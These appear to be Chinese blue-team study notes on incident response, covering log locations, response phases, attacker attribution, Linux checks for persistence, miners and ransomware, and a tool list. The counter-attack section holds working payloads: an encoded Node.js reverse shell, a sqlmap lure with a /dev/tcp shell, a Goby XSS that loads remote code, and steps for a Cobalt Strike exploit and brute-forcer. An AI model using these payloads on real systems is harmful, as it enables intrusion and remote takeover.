日志分析
Windows系统日志
日志路径:C:\Windows\System32\winevt\Logs
必看日志:Security.evtx、System.evtx、Application.evtx
Linux系统日志
日志路径:/var/log
必看日志:wtmp、secure、history
应用日志:包括但不限于Web应用等众多繁杂的日志,数据库,中间件,数据平台,cms,是个组件都有日志
安全设备日志:态势感知,IDS,IPS,EDR....
应急响应
应急响应的基本流程
收集信息:收集客户信息和中毒主机信息,包括样本。
判断类型:判断是否是安全事件,何种安全事件,勒索、挖矿、断网、DoS等等。
深入分析:日志分析(系统,流量,应用程序,安全设备,有全流量分析平台,确定攻击链)、进程分析、权限维持分析、样本分析。
清理处置:杀掉进程,删除文件,清除权限维持,打补丁,抑或是修复文件等等。
产出报告:整理并输出完整的安全事件报告。
事前
事前更多的时候是说甲方企业,在日常做的事情,需要熟悉自身的情况,做到知己
最核心的:
网络拓扑 -> IP分布、安全域的划分、能够上外网的区域、边界的访问控制等,出来一个IP就知道在哪个区域
安全设备 -> 已有的安全防御措施,waf、IPS、TIP、soc、hids、终端管控、杀毒软件 这些防御将在应急响应过程中大大提高应急效率,节省很多宝贵时间
备份情况 -> 企业是否具有备份,在处理勒索病毒时,非常有用
应急预案 -> 应急过程是高强度、争分夺秒的事情,在这种情况下很难考虑周全,因此需要事前做预案,对各种可能情况进行冷静、理智分析,包括解决方案、操作步骤、联系人员
应急演练 -> 确保应急预案可用,流程顺畅,因此 需要事前进行演练,查找预案的不足,及时进行更正,确保预案可行性
检测
怎样发现出现问题的?
- 安全监控告警(态感告警)
- 主机资源瓶颈(CPU跑满 -> 挖矿,磁盘满了->数据下载)
- 威胁情报(用户诈骗投诉电话、威胁情报告警、暗网监控)
响应
判断类型:判断是否是安全事件,何种安全事件,勒索、挖矿、断网、DoS等等。
深入分析:日志分析(系统,流量,应用程序,安全设备,有全流量分析平台,确定攻击链)、进程分析、权限维持分析、样本分析。
分析攻击链:从失陷主机开始梳理,确定完整的攻击链,攻击者的攻击手段和攻击路径
处置
真实操作中,处置与响应基本上同时进行,而且处置是止损的关键。主要操作的方法:
封锁公网IP -> 一般是攻击者的服务端公网IP地址
封域名 -> 内网dns封掉回连dns
断网 -> 网络隔离掉被感染的主机
恶意文件采样 -> 恶意文件
清理权限维持 -> 清理定时任务,启动项,服务,新增用户等
溯源(攻击者画像)
收集攻击者相关信息:
姓名/ID:
攻击IP:
地理位置:
QQ:
IP地址所属公司:
IP地址关联域名:
邮箱:
手机号:
微信/微博/src/id证明人物照片:
跳板机(可选):
关联攻击事件
手段
ip 域名
傀儡机,个人主机,vps
威胁情报
IP定位
域名备案查询,whois
手机号,邮箱
威胁情报
社工平台
百度,谷歌语法,fofa
github,gitee,开源中国,技术博客,安全圈社工
社交媒体 QQ/微信/微博/知乎/twitter等搜索
名字
百度,谷歌语法,fofa
github,gitee,开源中国,src排行,技术博客,安全圈社工
社交媒体 QQ/微信/微博/知乎/twitter等搜索
溯源反制
Webshell 工具-Antsword
原理:蚁剑支持Nodejs脚本
<?php header('HTTP/1.1 500 <img src=# οnerrοr=alert(1)>');
上线:
Nodejs 代码:
var net = require("net"), sh = require("child_process").exec("cmd.exe");
var client = new net.Socket();
client.connect(xx, "xx.xx.xx.xx",
function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});
编码组合后:
header("HTTP/1.1 500 Not <img src=# οnerrοr='eval(new Buffer(`dmFyIG5ldCA9IHJlcXVpcmUoIm5ldCIpLCBzaCA9IHJlcXVpcmUoImNoaWxkX3Byb2Nlc3MiKS5leGVjKCJjbWQuZXhlIik7CnZhciBjbGllbnQgPSBuZXcgbmV0LlNvY2tldCgpOwpjbGllbnQuY29ubmVjdCgxMDA4NiwgIjQ3Ljk0LjIzNi4xMTciLCBmdW5jdGlvbigpe2NsaWVudC5waXBlKHNoLnN0ZGluKTtzaC5zdGRvdXQucGlwZShjbGllbnQpO3NoLnN0ZGVyci5waXBlKGNsaWVudCk7fSk7`,`base64`).toString())'>");
SQL 注入工具-SQLMAP
蓝队提前构造注入页面诱使红队进行 sqlmap 注入拿到红队机器权限
原理:
命令管道符:ping "`dir`"
构造注入点页面固定注入参数值,等待攻击者进行注入
sqlmap -u "http://47.94.236.117/test.html?id=aaa&b=`dir`"
sqlmap -u "http://47.94.236.117/test.html?id=aaa&b=`exec /bin/sh 0</dev/tcp/47.94.236.117/2333 1>&0 2>&0`"
漏洞扫描工具-Goby
index.php
<?php header("X-Powered-By: PHP/<img src=1 οnerrοr=import(unescape('http%3A//47.94.236.117/1.js'))>");
<html>
<head>
<title>TEST</title>
</head>
<body>
testtest
</body>
</html>
1.js
(function(){require('child process').exec('calc.exe');})();
2.js上线:
(function(){require('child process').exec('powershel -nop -w hidden -encodedcommand JABXXXXXXXX(cs上线代码)');})();
CobaltStrike
对抗Cobaltstrike中的手段:
1、伪造流量批量上线(欺骗防御)
https://mp.weixin.qq.com/s/VCRg6F9Wq-yg-qajDoJuaw
2、利用漏洞(CVE-2022-39197)
Cobalt Strike<=4.7 XSS
获取真实ip地址
获取NTLM
RCE
SSRF
https://github.com/its-arun/CVE-2022-39197.
-修改EXP里面的执行命令后编译
修改:EvilJar/src/main/java/Exploit.java
-python -m http.server 8888
-修改svg加载地址并架设Web服务
修改: evil.svg 指向python打开web服务的url地址
xlink:href=“http://47.94.236.117:8888/Evilar-1.0-jar-with-dependencies.jar”
-执行EXP调用后门上线,攻击者进程查看时触发
python cve-2022-39197.py beacon.exe http://47.94.236.117:8888/evil.svg
3、反制Server,爆破密码(通用)
针对没有采用隐匿C2地址的技术导致的反制
https://github.com/ryanohoro/csbruter
python csbruter.py 47.94.236.117 pass.txt
安全事件应急
外联ip 威胁情报
对应进程,文件
取样分析,删除恶意进程和文件
杀毒软件查杀
权限维持清除
内网告警
告警说明知道具体哪台主机,漏洞类型。
利用杀毒软件查杀,清除恶意进程和文件,清除权限维持手段。
再到全流量分析的机子上看,是否有经过其他的机器,确定攻击链。
拿到攻击ip 之后威胁情报 ,肉鸡,个人主机,vps, 进行溯源。
加固,漏洞打补丁,密码泄露改密码。
如何检测webshell
外联,杀毒软件,日志(连接记录,确定ip)
linux
1.远控后门
1.事件来源,通过EDR等安全设备报警
2.下载河马等后门查杀工具,确认后门位置
3.配合威胁感知平台,确认外连ip和端口 netstat -anpt
4.查找进程信息 ps -ef
根据文件查pid
lsof | grep evil.sh
lsof /root/evil.sh
根据pid查相关文件
lsof -p 1234
systemctl status pid 获取进程status信息
ps -T -p pid 查看进程创建的线程
5.确定进程运行时间
查看进程运行时间
ps -eo pid,lstart,etime,cmd | grep <pid>
与恶意文件创建时间作对比,验证恶意文件
ls -al evil.sh
6.处理异常进程
恶意文件采样,并放在恶意文件分析平台上分析
什么类型恶意文件,目标ip,该ip是否为恶意地址等
7.删除恶意文件
chattr -i
2.挖矿病毒
1.获取异常进程pid top
2.寻找恶意文件
lsof -p pid
systemctl status pid
ps -T -p pid
3.确定进程运行时间
与恶意文件创建时间对比
ps -eo pid,lstart,etime,cmd | grep <pid>
ls -al evil.sh
4.处理异常进程
恶意文件采样,并放在恶意文件分析平台上分析
进程查杀
kill -9 pid
kill -9 -pid
5.删除恶意文件
3.勒索病毒
1.确定病毒家族
利用勒索病毒搜索引擎和百度,从勒索病毒的外在特征,文件后缀,联系邮箱等确定
2.利用勒索病毒搜索引擎和百度,搜索解密工具
淘宝,咸鱼请高手
没办法就交钱或者重做系统
4.暴力破解
善后阶段:
1.杀毒工具查杀
clamav
chkrootkit
Unhide
Rootkit Hunter
2.history信息
以下几种情况history信息不全
被清空或设置不记录
history -c
unset HISTORY HISTFILE HISTSAVE HISTZONE
HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export
HISTFILESIZE=0
命令前带一个空格不会记录
通过ssh远程执行的命令不会记录
ssh ubuntu@192.168.1.1 "whoami"
ssh异常中断
3.登录信息
who 当前登录用户
last -awF 显示所有登录成功信息
4.计划任务
/etc/crontab
/etc/cron.d/xx
/var/spool/cron/xxxx/xx
/etc/anacrontab (Redhat/Centos)
5.ssh后门
~/.ssh/authorized_keys 检查是否写入公钥
cat /etc/ssh/ssh_config
cat ~/.ssh/config
检查是否写入LocalCommand或ProxyCommand后门
ssh隧道
netstat -anpt 查看网络连接,看到22端口转发到其他端口
7.特权账户
awk -F: '$3==0 {print $1}' /etc/passwd
8.特殊权限文件
SUID find / -perm /4000
GUID find / -perm /2000
SUID和GUID find / -perm /6000
探针 LinEnum.sh
9.启动项
systemctl list-unit-files --type=service | grep enabled
systemctl stop xx.service
systemctl disable xx.service
服务检查
列出正在运行的系统服务
systemctl list-unit-files --type=service | grep enabled
systemctl status xxx.service 查看服务进程状况
systemctl cat xxx.service 查看服务配置文件
10环境变量
env
set
export
cat /proc/$PID/environ
declare
11.bash命令
bash命令搜索顺序为,别名alias,关键字,函数,内置命令,外部命令
查看alias别名
alias
创建
alias l="ls -al"
删除
unalias l
查看函数
declare -f xx
删除恶意函数
unset -f xx
查看内置命令
compgen -b
查看内置命令的同名文件
compgen -b | grep -v -E "\.|\:" | while read line;do ls /usr/bin/$line 2>null ;
done
12.动态链接库劫持
LD_PRELOAD
echo $LD_PRELOAD
/etc/ld.so.conf
cat /etc/hosts
14.rookit后门检测
工具rkhunter
应急工具:
日志提取工具
七牛 Logkit
日志自动分析
Linux系统 - GScan
Windows系统 -LogonTracer
Web-360 星图&Goaccess
ELK日志分析系统
Yara工具
蜜罐平台 Hfish
HIDS-Wazuh&Elkeid-hub(linux)
IDS-Snort&Suricata
规则库:
https://github.com/al0ne/suricata-rules
https://github.com/ptresearch/AttackDetection
#打包系统:securityonion集成snort/suricata、bro(zeek)、elk、ossec等https://securityonionsolutions.com/software